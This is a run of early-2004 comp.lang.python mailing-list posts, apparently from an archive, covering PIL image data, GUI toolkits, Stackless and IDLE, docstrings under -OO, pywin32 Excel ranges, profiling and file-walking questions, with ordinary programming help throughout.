	<c093j2$145o03$1@ID-130333.news.uni-berlin.de>
Message-ID: <c9d82136.0402131512.315a142f@posting.google.com>

"Cousin Stanley" <CousinStanley at hotmail.com> wrote in message news:<c093j2$145o03$1 at ID-130333.news.uni-berlin.de>...
> | ....
> | im.save ('target out.png', 'png')
> | ....
> Noah ....
>   Try the image type in all-caps .... 
>    im.save( 'targe out.png' , 'PNG' )
>   Also, you might try the Image save method 
>   with just the filename and omit the type argument .... 
>    im.save( 'target out.png' )
>   Unless you specify the format, the library 
>   uses the filename extension to discover 
>   which file storage format to use.

But my problem is with getdata() and putdata().
The PIL raises the exception even when saving or loading is not involved.
For example, the following script raises the exception 
"TypeError: unrecognized image mode.

    import Image
    width = 10
    height = 10
    im = Image.new ("RGB", (width, height))
    im.putdata (im.getdata())

Yours,
Noah


From jzgoda at gazeta.usun.pl  Sat Feb 14 03:39:11 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Sat, 14 Feb 2004 08:39:11 +0000 (UTC)
Subject: 6 Qustions about Python: Does it do GUI?  more...
References: <mailman.11.1076682913.31398.python-list@python.org>
	<930ba99a.0402140034.286a1e5c@posting.google.com>
Message-ID: <c0kmrf$lf0$2@nemesis.news.tpi.pl>

Sridhar R <sridharinfinity at yahoo.com> pisze:

>> 4 - Can you create a Windows program that looks and feels like a 
>> Windows program?
> 
>    Try PyGTK (http://pygtk.org)  (particularly look at the windows
> part of the FAQ)
>    Try http://gtk-wimp.sf.net
>    This is enough.  Even your VB can't create programs with WindowXP
> look and feel (by default).
>     See screenshots at http://gtk-wimp.sf.net

I'd rather propose wxPython, since it uses native Windows controls.

-- 
Jarek Zgoda
http://jpa.berlios.de/


From hauck at gseos.com  Sat Feb 14 22:39:10 2004
From: hauck at gseos.com (Tommy Trojan)
Date: Sat, 14 Feb 2004 19:39:10 -0800
Subject: Hiding modules
Message-ID: <c0mpkn$i1d$1@gist.usc.edu>

Hi,

I have a custom application in which I have a Python interpreter embedded.
Everything works really well and Python is taking over bigger and bigger
chunks of the hosting application (it's spreading like a cancer :-). My
users have direct access to the interpreter through a console window. So
they can run pretty much any code they like. Now I have some modules that I
use in my code and that I don't want my users to access. Is there anything
that can be done to import modules conditionally?
I guess I could just check for import statements or write an __import__
hook, however, I want my code still to be able to access the modules in
question.
Any ideas?

Thanks,
  T




From premshree_python at yahoo.co.in  Sun Feb 29 05:29:02 2004
From: premshree_python at yahoo.co.in (=?iso-8859-1?q?Premshree=20Pillai?=)
Date: Sun, 29 Feb 2004 10:29:02 +0000 (GMT)
Subject: pyAlbum
In-Reply-To: <t3x%b.1203$8T.527@news.cpqcorp.net>
Message-ID: <20040229102902.2514.qmail@web8307.mail.in.yahoo.com>

I too would prefer to create an album using
JavaScript. The reason I wrote the script was simple:

I had a folder with certain images in it. I wanted to
create an album of these images. That's all.

A sample album that I created (for an introductory
seminar on Python) is available at
http://www24.brinkster.com/premshree/python-seminar-210204/slides/pySlide1.jpg.htm

Thanks for the comments!

-Premshree Pillai
[http://www.qiksearch.com/]
[http://www.livejournal.com/users/premshree/]

 --- Matt Gerrans <matt.gerrans at hp.com> wrote: > A
good start -- a thumbnail view might be a nice
> enhancement.
> 
> I worked on my own Python script to do something
> similar (except with the
> thumbnail page and having the prev/next be little
> thumbnails of the
> prev/next pictures instead of text), for a little
> while before it dawned on
> me that the whole thing could be done with a single
> page containing
> JavaScript.    Much as I prefer Python over
> JavaScript, that seemed a lot
> more sensible.  I still use a Python script with PIL
> to generate the
> thumbnail set (which isn't strictly necessary, as
> JavaScript can load all
> the images at full size and still scale them down
> and show thumbnails -- but
> it makes for better display performance and better
> looking thumbnails).
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list 

=====
-Premshree
[http://www.qiksearch.com/]

________________________________________________________________________
Yahoo! India Insurance Special: Be informed on the best policies, services, tools and more. 
Go to: http://in.insurance.yahoo.com/licspecial/index.html



From bob at redivi.com  Mon Feb 23 20:14:16 2004
From: bob at redivi.com (Bob Ippolito)
Date: Mon, 23 Feb 2004 20:14:16 -0500
Subject: [Stackless] Re: Stackless 3.0 for Python 2.3: new binaries
In-Reply-To: <403A9C1E.9040509@stackless.com>
References: <mailman.145.1077390882.27104.python-list@python.org>
	<403A8E4F.7080801@aon.at> <403A9C1E.9040509@stackless.com>
Message-ID: <C3CCD5CD-6666-11D8-A902-000A95686CD8@redivi.com>

On Feb 23, 2004, at 7:34 PM, Christian Tismer wrote:

> Gregor Lingl wrote:
>
>> Christian Tismer schrieb:
>>> New Win32 binaries have been uploaded to the Stackless website.
>>>
>>> Some compatibility issues with certain constructors
>>> have been solved.
>>>
>>> Please let me know of any problems.
>>>
>> Trying seriously to find out how to use stackless and what it is
>> good for ;-),
>
> Alaaf, you are cheating, right?
> You must have known, partially, last August. ;-)
>
>> I stumbled just in the beginning. While I was able to execute some of 
>> my Python programs, among them Tkinter-programs
>> and even recursive ones,
>> (1) I was not able to use Stackless from IDLE:
> ...
>
>>  >>> 3*4
>> Traceback (most recent call last):
>>   File "C:\Python23\lib\idlelib\rpc.py", line 233, in asyncqueue
>>     self.putmessage((seq, request))
>>   File "C:\Python23\lib\idlelib\rpc.py", line 322, in putmessage
>>     s = pickle.dumps(message)
>> RuntimeError: maximum recursion depth exceeded
>
> Yes, I tried this and I get the same problem.
> Have to admit that I'm not a regular IDLE user.
> Seriously, I have no idea what's going on.
> Seriously, I have also no idea why Python must
> try to pickle something, to compute 3*4 ???
>
> Everything works with Python 2.2. I expect something
> has changed dramatically with Idle, and there is some
> compatability issue with all the new pickling support that
> we had to add for Python 2.3. Eeek, how do I debug that!

This is not an authoritative response, because I don't actually know, 
however here is my guess:

(1) Python is an absolutely horrible terrible language for embedding 
(arbitrarily) inside of itself on a large scale for more reasons than I 
care to list (threads, lack of stacklessness, globals up the wazoo, 
inability to create a real subinterpreter from Python code, the fact 
that the subinterpreters from C code probably still share globals, 
etc.)
(2) GUI run loops have a long history of being especially difficult to 
integrate with one another
(3) On some platforms (like say, OS X for example) running an app 
inside of an app is not what you want to do because they will share the 
same menu bar and such.  The only time I've seen this used well is in 
Interface Builder, but you don't need to use a debugger from Interface 
Builder so the preview mode makes sense to do in-process.

Therefore the only good solution for running and debugging a Python 
program from an written-in-python IDE is to spawn a new interpreter 
process and communicate with it via some RPC mechanism and communicate 
over pipes or sockets.  In order to use debugging and smarter-than-repr 
representations of data (i.e. the IDE should let you browse objects, 
classes, etc.) it's going to have to send objects over the wire.. which 
means, pickle.

It probably took the IDLE team until Python 2.3 to figure this out, 
implement this complicated mechanism, and get it tested well enough to 
be merged with the main branch.

But I must reiterate that I have no idea.. never looked at the IDLE 
source code, don't use IDLE, haven't been on python-dev long enough to 
notice if/when this happened... I have however run into these sorts of 
problems on my own plenty of times and solved them to various degrees 
(but have not written a full out RPC mechanism, though I would like to 
at some point if a good one doesn't yet exist).

-bob
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From gee_arr_why at ll.mit.edu  Tue Feb 10 14:37:05 2004
From: gee_arr_why at ll.mit.edu (George Young)
Date: Tue, 10 Feb 2004 14:37:05 -0500
Subject: doc strings should not be accessed? -OO
Message-ID: <pan.2004.02.10.19.37.05.395160@ll.mit.edu>

[python 2.3.3, SuSE 8.2 x86 Linux]
In setting up an install procedure for the "released" directory
of my app, I found that after doing:

  python -OO -c 'import compileall;compileall.compile_dir(".")'

in my Makefile (I know, I'll switch to distutils sometime...),
my app doesn't print the proper "usage" message when invoked
with improper args.  The app is using the module's __doc__ 
string as part of it's "usage" message.  

I see from the docs that -OO or PYTHONOPTIMIZE=2 removes 
the __doc__ string.  It seems to me that either:

1) there should be clear and prominent warning where docstrings
are discussed in the manual that they may not be available
during execution, or

2) optimization should leave the poor things alone...

Coming from many years of c and c++ programming where "if 
cranking up the optimization changes the output, the compiler
is broken" -- it seems to violate the friendliness of python's
style...

-- 
George Young
gee arr why at ll.mit.edu
[three letter username]



From CGStartup at earthlink.net  Sun Feb  1 00:12:37 2004
From: CGStartup at earthlink.net (Stan Schwartz)
Date: 31 Jan 2004 21:12:37 -0800
Subject: Programmers Wanted for Computer Graphics Startup Near
	Philadelphia
References: <2da21d6c.0401310807.671be3b7@posting.google.com>
	<bvh1pt$c3q$3@atlantis.news.tpi.pl>
Message-ID: <2da21d6c.0401312112.7477793b@posting.google.com>

Jarek Zgoda <jzgoda at gazeta.usun.pl> wrote in message news:<bvh1pt$c3q$3 at atlantis.news.tpi.pl>...
> Stan Schwartz <CGStartup at earthlink.net> pisze:
> 
> > My name is Stan Schwartz, and I'm a University of Pennsylvania 
> > Ph.D. and an independent inventor.  I'm submitting two computer 
> > graphics patents to the USPTO during the next several weeks.  
> 
> This sounds like one of these emails, you know them:
> 
> """
> DEAR SIR
> MY NAME IS ANNE-MARIE ABAHA, I AM THE WIFE OF FORMER PRESIDENT SANI
> ABAHA...
> """

There's a copy of my doctoral dissertation in the University of
Pennsylvania
library at
<http://www.franklin.library.upenn.edu/cgi-bin/Pwebrecon.cgi?Search_Arg=Schwartz,%20Stanley,%20M.&SL=None&Search_Code=NAME_&PID=23381&CNT=50&BROWSE=1&HC=1&SID=1>.
 Is there anything else I said that you want me to prove to you?


From tjreedy at udel.edu  Tue Feb 10 10:18:14 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 10 Feb 2004 10:18:14 -0500
Subject: Python style advice
References: <slrnc2enr8.bmp.ncw@irishsea.home.craig-wood.com><mailman.1400.1076389231.12720.python-list@python.org>
	<slrnc2h9id.um.ncw@irishsea.home.craig-wood.com>
Message-ID: <c0asnp$658$1@sea.gmane.org>


"Nick Craig-Wood" <ncw at axis.demon.co.uk> wrote in message
news:slrnc2h9id.um.ncw at irishsea.home.craig-wood.com...
> >  def myfunc (a = None, b = None, c = None)

> >>> def f(a=None,b=None,c=None,*extra): print a,b,c
 ...
> >>> L=[]; apply(f,L)

You can now write 'apply(f,L)' as f(*L) and be future-proof in case apply
disappears

tjr






From martin at v.loewis.de  Sat Feb  7 03:28:28 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 07 Feb 2004 09:28:28 +0100
Subject: Typing UTF-8 characters in IDLE
In-Reply-To: <aa04f98f.0402061648.1c855e27@posting.google.com>
References: <aa04f98f.0402061648.1c855e27@posting.google.com>
Message-ID: <c027j4$iac$04$1@news.t-online.com>

Ricky Waller wrote:
> A few unicode tutorials on the web show that it's possible to type
> unicode characters into the IDLE gui...
> 
> However, when i type korean (hangul) characters it complains:
> 
> Unsupported Characters in input
> 
> I don't have a great understanding of unicode, but when I use a UTF-8
> source file with korean strings in, and run it as a CGI script it
> works fine.

It is possible to put non-ASCII characters into source code in an
IDLE text editor window. Make sure you have an encoding declaration
in the file as well before saving it.

It is also possible to enter non-ASCII characters in interactive
mode. IDLE will convert them to the locale's encoding before
evaluating the source code; if that fails, you get the message you
see. So where you trying to enter hangul characters in interactive
mode in a locale that does not support hangul, or are you lacking
a codec for your locale?

In interactive mode, UTF-8 is never used (unless you have an
UTF-8 locale).

Regards,
Martin



From mwh at python.net  Tue Feb 24 07:30:25 2004
From: mwh at python.net (Michael Hudson)
Date: Tue, 24 Feb 2004 12:30:25 GMT
Subject: How do I access Python's dictionary of all global variables?
References: <c9d82136.0402210903.7cbf2335@posting.google.com>
	<c1883b$lum$1@news.service.uci.edu>
	<403A088B.840F7141@engcorp.com> <c1ekrb$bv4$1@news.service.uci.edu>
Message-ID: <m3ekskhd7i.fsf@pc150.maths.bris.ac.uk>

Josiah Carlson <jcarlson at nospam.uci.edu> writes:

> > For reference, this can be done using a debug build of the interpreter.
> > I don't recall the name of the function or even which module it was
> > in (sys or gc, presumably) but it was there.  (I think. :-)

There's gc.get_objects(), present in all builds, which gives a list of
all objects tracked by the cycle collector (i.e. all containers).

In a debug build there's sys.getobjects(), which gives a list of
(potentially, depending on arguments passed) all objects known to the
interpreter.

> That scares me, it is very dangerous.

Why?  It can be useful for tracking refleak problems, if nothing else.

Cheers,
mwh

-- 
  I have a cat, so I know that when she digs her very sharp claws into
  my chest or stomach it's really a sign of affection, but I don't see
  any reason for programming languages to show affection with pain.
                                        -- Erik Naggum, comp.lang.lisp


From tjreedy at udel.edu  Sat Feb 28 15:11:58 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 28 Feb 2004 15:11:58 -0500
Subject: Please hear my plea: print without softspace
References: <4041796c.2181078@news.muenster.de>
Message-ID: <c1qsmd$a5k$1@sea.gmane.org>


"Martin Bless" <mb at muenster.de> wrote in message
news:4041796c.2181078 at news.muenster.de...
>
> Why can't we have an additional 'print' statement, that behaves
> exactly like 'print' but doesn't insert that damn blank between two
> arguments?
...
> What do you think?

For exact control of output, use file.write(string).
print is a convenient wrapper for casual output to stdout,
especially with the interactive console.
Or write your own wrapper for custom default formating.

Terry J. Reedy






From no at sp.am  Tue Feb 17 22:04:58 2004
From: no at sp.am (DH)
Date: Tue, 17 Feb 2004 21:04:58 -0600
Subject: Is there Multi-media support in Python ?
In-Reply-To: <mailman.94.1077067234.31398.python-list@python.org>
References: <Ue3Yb.236855$rj7.1534201@twister.tampabay.rr.com>
	<mailman.94.1077067234.31398.python-list@python.org>
Message-ID: <XMWdnUmA5bPHS6_dRVn-hg@comcast.com>

Paul Prescod wrote:

> Will wrote:
> 
>> Is there multi-media support in Python? So I can...
>>
>> 1 - play video in all the standard formats... windows & Mac?
>> 2 - play flash files
>> 3 - Power Point
>> 4 - Standard graphic formats
>> 5 - Sound in all the standard formats
>> 6 - etc
> 
> 
> Python is a programming language. All it does is computations. Python 
> can be embedded into environments that can do more than computations. 
> e.g. you can embed it into a Windows MFC window or a Pygame application 
> or a Macintosh Carbon application. In each environment you will get a 
> different mix of features.
> 
> If you tell us your operating system we can tell you what environment 
> you might want to embed Python in with all of these capabilities. Python 
> itself has a lot less to do with it than the GUI you are using Python 
> within.

He already did.  See the excerpt you quoted.


From michele.simionato at poste.it  Mon Feb  9 12:08:27 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 9 Feb 2004 09:08:27 -0800
Subject: efficient way for building class browsers.
References: <930ba99a.0402071805.15b90424@posting.google.com>
	<c04nvs$h6j$1@news.service.uci.edu>
	<6ee58e07.0402080454.19f5e81c@posting.google.com>
	<c062lt$mb3$1@news.service.uci.edu>
Message-ID: <95aa1afa.0402090908.3fd42d2d@posting.google.com>

Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<c062lt$mb3$1 at news.service.uci.edu>... 
> > I think the 1/2 second could also be done with some intelligent
> > regexpr's. There is something like this in the IDLE code.
> 
> Checking the IDLE source for version 1.0 (I would check CVS, but CVS 
> seems to be having issues at sourceforge), it uses pyclbr.
> 

The inspect module uses regexps to extract the source code from classes
(and it is always a very good reading).

    Michele


From chris.lyon at spritenote.co.uk  Mon Feb  9 07:56:20 2004
From: chris.lyon at spritenote.co.uk (Chris Lyon)
Date: 9 Feb 2004 04:56:20 -0800
Subject: Walking recognized structures
Message-ID: <d232c5e.0402090456.444526ab@posting.google.com>

I handle a lot of audio files of different formats, which live in a
directory tree. WAV files in a wav directory, AIFF's in an AIFF
directory next to the wav directory and mp3's in an MP3 directory next
to the Aiff.

this directory structure exists under a large directory tree of the
libraries the sounds are in.

Whenever I wish to add a new file format I find the syntax of
os.listdir & especially os.path.walk particularly clumsy. as I am
constantly rebuilding directory path's with join and still requiring
to add extensions by hand + '.' +'MP3' for instance. the syntax on one
line can become very large what with the requirement to re cement the
directory path on to the file name.
I would love to able to just write a simple visit routine that just
does the processing I require but the all the work in visit seems to
end up as case checking ('WAV's arrive as Wav , 'WAV' and every other
possible combination), and frantic tearing apart of reasonably large
file path's I have built myself to actually allow me to run the
ConvertWAVtoMp3(wavfilepointer, mp3destination,
mp3destinationfilename) that does the real work.

Do people have any suggestions for how I might implement this in a
dirwalker routine that allows me to simply add the appropriate
ConvertWAVtoMP3 like function that I can emerge at the end of
unfrazelled and wondering quite how that version worked as opposed to
all the other that fell over half way through for some obscure path
reason ? (why oh why do people insist on putting spaces and worse
tildes in path names in the Windows world?).

I know there is a new os.walk() but since I'm still trying to get my
head round the existing versions and I'm sort of locked to 2.1 for
this application(Oracle DC2 drivers don't seem to like anything after
2.1).

Could anyone describe a method for what I feel must be a fairly
regularly encountered problem?

I would post my efforts but since they are awash with prints, asserts
and other chunks of desperate debugging I feel this would tend to
generate humour which I know is a gain for all, but I have a shred of
integrity that I would like to maintain and laughter might just have
me walking off stage left, but probably tripping over a '/' on the
way.


From jarausch-remove at igpm.rwth-aachen.de  Thu Feb 26 06:03:09 2004
From: jarausch-remove at igpm.rwth-aachen.de (Helmut Jarausch)
Date: Thu, 26 Feb 2004 12:03:09 +0100
Subject: Buglet in CVS 040225
Message-ID: <c1kjpj$ik2$1@nets3.rz.RWTH-Aachen.DE>

Hi,

I'm not sure if this is the right place to report on buglets in the CVS 
version of Python.

Anyway

In file dist/src/Objects/floatobject.c  line 393
it most probably must read
	PyFPE_END_PROTECT(r)
--------------------------^

Thanks for any confirmation and hint where to mail such buglets in future.

Helmut Jarausch
RWTH-Aachen University
Germany


From i.linkweiler at web.de  Sun Feb  8 08:25:47 2004
From: i.linkweiler at web.de (Ingo Linkweiler)
Date: Sun, 08 Feb 2004 14:25:47 +0100
Subject: JPG Image Load,Resize,Save with 100% Python?
Message-ID: <c05dj3$q37$04$1@news.t-online.com>

Hello,

I am looking for a 100% python lib/script which can load a jpg image, 
detect its size, resize and save it as new file.

I have found some tools (like PIL), but all of them use ImageMagic or 
external dlls, which can not be used on my web server.

I hope you can help me.

Ingo



From grreeder at ix.netcom.com  Wed Feb 11 12:37:42 2004
From: grreeder at ix.netcom.com (jr)
Date: Wed, 11 Feb 2004 17:37:42 GMT
Subject: pywin32 COM Problem with Excel Range Offset?
References: <tCeWb.1421$VP1.966333@newshog.newsread.com>
Message-ID: <GLtWb.263$tL3.182@newsread1.news.pas.earthlink.net>


"Michael Jordan" <mjordan at adobe.com> wrote in message news:tCeWb.1421$VP1.966333 at newshog.newsread.com...
> I'm hoping that someone here can give me some insight into a problem I'm
> running into with Python, pywin32 and Excel. All-in-all using Python and
> pywin32 is great but I've run into a strange problem with the range Offset
> property, I'm not getting the correct offset and the returned range is a
> single cell and not the same size as the original range.
>
> For example, when I enter the following lines of code in PythonWin :
>
> from win32com.client import Dispatch
> xlApp = Dispatch('Excel.Application')
> xlApp.Visible = 1
> rng1 = xlApp.Range(xlApp.Cells(8,3),xlApp.Cells(20,6))
> rng1.Select()
> rng2 = rng1.Offset(2,2)
> rng2.Select()
>
> rng1 correctly defines and selects cells C8:F20 but rng2 is incorrectly
> defined as D9 instead of E10:H22.
>
> Digging a little further if I look at the cell sizes for the two ranges I
> get the following:
>
> >>> rng1.Count
> 52
> >>> rng2.Count
> 1
>
> What's going on with the Offset property? If I enter the equivalent VBA code
> into the Immediate window from the Visaul Basic Editor within Excel I get
> the correct behavior. Is this a pywin32 bug?
>
> My configuration:
>     pywin32 (build 200) {I got the lastest version to see if this would fix
> the problem - it didn't}
>     Python 2.3.3
>     MS Excel 2002
>     Windows XP
>
> Any insight into this problem will be greatly appreciated.
>
> Michael
>
>

Use: GetOffset(2, 2) instead.
For some reason gen.py changes "Offset()" to
"GetOffset()"

HTH
jr





From tweedgeezer at hotmail.com  Thu Feb  5 18:36:42 2004
From: tweedgeezer at hotmail.com (Jeremy Fincher)
Date: 5 Feb 2004 15:36:42 -0800
Subject: [ANN]PyCrash 0.2 released
References: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
	<CnwUb.121111$cM1.22432482@twister.nyc.rr.com>
	<a3c54444d6b1263db29c35ccb758dc40.46955@mygate.mailgate.org>
	<iQwUb.180248$4F2.22043362@twister.nyc.rr.com>
Message-ID: <698f09f8.0402051536.469cf133@posting.google.com>

max khesin <max at NcOviSsPiAoMntech.com> wrote in message news:<iQwUb.180248$4F2.22043362 at twister.nyc.rr.com>...
> What it basically means to me is 
> that I cannot use your code at work, which is annoying.

Keep in mind that the GPL only applies to distribution, not to use. 
If you're just doing in-house development with PyCrash, you aren't
bound by the terms of the GPL.

Jeremy


From jjl at pobox.com  Sun Feb  1 19:27:09 2004
From: jjl at pobox.com (John J. Lee)
Date: 02 Feb 2004 00:27:09 +0000
Subject: 4DOM eating all my memory
References: <v51Tb.70605$Kg6.987044@news20.bellglobal.com>
Message-ID: <87oesiiaw2.fsf@pobox.com>

ewan <frimn at hotmail.com> writes:

> I'm looping over a set of urls pulled from a database, fetching the
> corresponding webpage, and building a DOM tree for it using
> xml.dom.ext.reader.HtmlLib (then trying to match titles in a web library
> catalogue).

Hmm, if this is open-source and it's more than a quick hack, let me
know when you have it working, I maintain a page on open-source stuff
of this nature (bibliographic and cataloguing).


>  all the trees seem to be kept in memory,
> 
> however, when I get through fifty or so iterations the program has used
> about half my memory and slowed the system to a crawl.
> 
> tried turning on all gc debugging flags. they produce lots of output, but it
> all says 'collectable' - sounds fine to me.

I've never had to resort to this... does it tell you what types /
classes are involved?  IIRC, there was some code posted to python-dev
to give hints about this (though I guess that was mostly/always for
debugging leaks at the C level).


> I even tried doing gc.collect() at the end of every iteration. nothing.
> everything seems to be being collected. so why does each iteration increase
> the memory usage by several megabytes?
> 
> below is some code (and by the way, do I have those 'global's in the right
> places?)

Yes, they're in the right places.  Not sure a global is really needed,
though...


> any suggestions would be appreciated immeasurably...
[...]
>   def find(self, title, uri):
>     global root
>     
>     reader = HtmlLib.Reader()
>     root = reader.fromUri(uri)
> 
>     # find what we're looking for
>     ...

+     reader.releaseNode(root)

?


John


From http  Thu Feb 19 20:48:53 2004
From: http (Paul Rubin)
Date: 19 Feb 2004 17:48:53 -0800
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de> <7xsmh6a7cd.fsf@ruckus.brouhaha.com>
	<RpdZb.10783$Cd6.717545@news20.bellglobal.com>
Message-ID: <7x65e2ikqi.fsf@ruckus.brouhaha.com>

"Sean Ross" <sross at connectmail.carleton.ca> writes:
> I'd be interested to see how
> 
> s = open("/dev/urandom").read(3000)
> 
> compares, and, if better, whether something similar can
> be done on Windows.

On Linux, this is almost instantaneous.  Reading 1 megabyte takes
under a second on my 700 mhz P3.


From chrish at cryptocard.com  Mon Feb 16 08:33:20 2004
From: chrish at cryptocard.com (Chris Herborth)
Date: Mon, 16 Feb 2004 08:33:20 -0500
Subject: XML Parsing
In-Reply-To: <2c60a528.0402150158.e1768e4@posting.google.com>
References: <slrnc2t6bv.4q2.tyler@darkstar.tylere.com>
	<2c60a528.0402150158.e1768e4@posting.google.com>
Message-ID: <Gz3Yb.3921$Cd6.177581@news20.bellglobal.com>

Andrew Clover wrote:

> With simple XML and a bit of care avoiding problem areas (see eg.
> http://pyxml.sourceforge.net/topics/compliance.html ) it is possible to
> write software that will work equally well with minidom, cDomlette and
> other DOM implementations.

Ain't standards great? ;-)

-- 
Chris Herborth                                     chrish at cryptocard.com
Documentation Overlord, CRYPTOCard Corp.      http://www.cryptocard.com/
Never send a monster to do the work of an evil scientist.


From gveda at iitk.ac.in  Sun Feb 22 01:26:14 2004
From: gveda at iitk.ac.in (Gaurav Veda)
Date: 21 Feb 2004 22:26:14 -0800
Subject: class vs function ???
References: <1c764367.0402210857.579f59ab@posting.google.com>
Message-ID: <1c764367.0402212226.7002821f@posting.google.com>

Hi !

I have read all the replies and they are all extremely helpful. Thanks
a lot !!!
My basic doubts were :
1) I am allowed to write things in the class body without the need for
encapsulating them in functions. Moreover, they are executed as soon
as I define the class. Infact, I can also call functions in the class
body (the way  I called fun2). All this, while I am just defining the
class !	-- I still don't understand why are classes implemented in
this way in pyhton.

2) The reason I had that erroneous 'print c' statement was, because I
just wanted to point out that it seems like the scoping rules for both
classes and functions are the same. -- I now understand the scoping
rules and realize the fallacy. Thanks again !

Being a 3rd year undergraduate student, I have to make a Python
'compiler' (I know it sounds foolish -- but thats what my instructor
wants me to do !). This is the precise reason why I am tinkering with
Python and trying to figure out the exact way in which things work !

Gaurav

PS : No Steve, I am not trying out any tricks here. Believe me, I know
too little to do any of that :)


From mwh at python.net  Wed Feb 25 07:17:40 2004
From: mwh at python.net (Michael Hudson)
Date: Wed, 25 Feb 2004 12:17:40 GMT
Subject: Transitivity and direction of "binding" (was Re: Comments
 requested:  brief summary of Python)
References: <mailman.50.1077643494.8594.python-list@python.org>
	<103n58pid8eh566@corp.supernews.com>
	<403BA2F0.CD017A8F@engcorp.com>
Message-ID: <m3d683fj4r.fsf@pc150.maths.bris.ac.uk>

Peter Hansen <peter at engcorp.com> writes:

> Cameron Laird wrote:
> > 
> > The approach I like is to discard any language that
> > encourages newcomers to regard
> >   i = "Hello"
> > as an "assignment", and to identify it instead as
> > what it is for Python:  a *binding* to the name 'i'.
> 
> Is it "binding the object to the name", or is it "binding the name
> to the object".  

I'd say it's "binding the name to the object".

> Or both?  

No.

> Or neither?  

No.
 
> Why?

A name has zero or one bindings, but an object may have an arbitrary
number of bindings to it.

> And does it matter? ;-)

Not a lot.

Cheers,
mwh

-- 
  The PROPER way to handle HTML postings is to cancel the article,
  then hire a hitman to kill the poster, his wife and kids, and fuck
  his dog and smash his computer into little bits. Anything more is
  just extremism.                                 -- Paul Tomblin, asr


From timr at probo.com  Tue Feb 24 02:55:53 2004
From: timr at probo.com (Tim Roberts)
Date: Mon, 23 Feb 2004 23:55:53 -0800
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake>
Message-ID: <480m30hd68ncg81if70n81h8tict03oda3@4ax.com>

Ben Finney <bignose-hates-spam at and-benfinney-does-too.id.au> wrote:
>
>Just when we thought things were looking up on the whole "Windows as a
>trademark" for something that Microsoft didn't originate in the first
>place.
>
>The wxWindows project have announced that they are changing their name
>to wxWidgets, specifically to avoid problems with the Microsoft product
>name.

That's enough to make a guy angry.  Not at Julian or Robin, but at the
bozos at Microsoft who have the unmitigated gall to suggest that ANY use of
the word "windows" could possibly have any impact on their galactic empire.

Did you hear about the teenager named Mike Rowe, who decided to call his
little company "Mike Rowe Soft"?  When he registered his domain, the
Redmond lawyers came a-knocking, demanding money.  Fortunately, the bad
press caused them to change their mind in this case.

Andersen Windows had better fire up their legal team.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From scott.b.drummonds.nospam at intel.com  Tue Feb 24 17:58:28 2004
From: scott.b.drummonds.nospam at intel.com (Scott Brady Drummonds)
Date: Tue, 24 Feb 2004 14:58:28 -0800
Subject: Python Profiler Trouble
Message-ID: <c1gkum$2mh$1@news01.intel.com>

Hi, everyone,

I have a tool I've written in Python that is taking many hours to run but I
believe could be running in less than an hour with a more clever
implementation.  As such, I'm trying to use the profiler to spot the weak
points.

However, when following the instructions for using the profiler at
http://www.python.org/doc/current/lib/profile.html, I'm not having any luck.
I've tried letting the program run for about five or ten minutes then
killing it with ^C but no useful data are returned:

<quote>
Tue Feb 24 14:40:38 2004    prof

         3 function calls in 0.000 CPU seconds

   Random listing order was used

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
        1    0.000    0.000    0.000    0.000
profile:0(marple.main('iecr_new_config.txt'))
        1    0.000    0.000    0.000    0.000 <string>:1(?)
        0    0.000             0.000          profile:0(profiler)
        1    0.000    0.000    0.000    0.000 marple.py:10(main)


<pstats.Stats instance at 0xbd75fcc>
</quote>

Is this because I'm hitting ^C before it finishes?  Do I have to let the
program run to completion to get good results?  Since I don't want to wait
the many hours (or even many days) for this profiling info, is there a
better way that I can profile portions of the this large test case rapidly?

Thanks!
Scott

-- 
Remove ".nospam" from the user ID in my e-mail to reply via e-mail.




From peter at engcorp.com  Wed Feb 25 14:37:17 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 25 Feb 2004 14:37:17 -0500
Subject: problem in appending a path to sys.path
References: <f046efac.0402242237.3734ee75@posting.google.com>
Message-ID: <403CF96D.AE14D5CE@engcorp.com>

ketulp_baroda at yahoo.com wrote:
> 
> What am I doing wrong here??

As rabbits77 said, your change is not being persisted.  What you
can do instead of using PYTHONPATH, if you wish, is read the header
comment in the file python\lib\site.py (i.e. look in your Python 
folder tree for that file) and create a ".pth" file with the appropriate
contents.  As you are on Windows, make sure you take care to create it
with a lower-case extension, not .PTH, as site.py is case-sensitive in
this respect.

-Peter


From nuffsaid at phreaker.net  Tue Feb 10 05:53:39 2004
From: nuffsaid at phreaker.net (Nuff Said)
Date: Tue, 10 Feb 2004 11:53:39 +0100
Subject: Simple newbie question about parameters handling in functions
	(or am I dump or what?)
References: <hqbh20d9k80eccav78bbsku8hciftnbiuq@4ax.com>
Message-ID: <pan.2004.02.10.10.53.39.204027@phreaker.net>

On Tue, 10 Feb 2004 10:20:11 +0000, Niki Iv wrote:

> I am totaly new to Python, although I have quite strong developer
> background. Indeed I am evaluating Python to integrate it (Jython) in
> my Java apps... 
> Well this is my first Python day. I am tampering with functions. I
> read that parameters are passed by-value rather than by-reference. So
> function can change wathever parameters reffers to. My troube (well my
> presonal not understanding comes from this)

Observe that there are mutable and immutable objects in Python and that
the *value* in Python's 'call by value' is always an *object reference*.
The following excerpt from the Python tutorial describes this:

  The actual parameters (arguments) to a function call are 
  introduced in the local symbol table of the called function 
  when it is called; thus, arguments are passed using call by
  value (where the value is always an object reference, not the
  value of the object).

  (Actually, 'call by object reference' would be a better description,
  since if a mutable object is passed, the caller will see any changes 
  the callee makes to it (items inserted into a list).)

  [http://www.python.org/doc/2.3.3/tut/node6.html]

HTH / Nuff



From tim.golden at viacom-outdoor.co.uk  Tue Feb  3 08:54:43 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Tue, 3 Feb 2004 13:54:43 -0000 
Subject: Is a win32 process running using the pid.
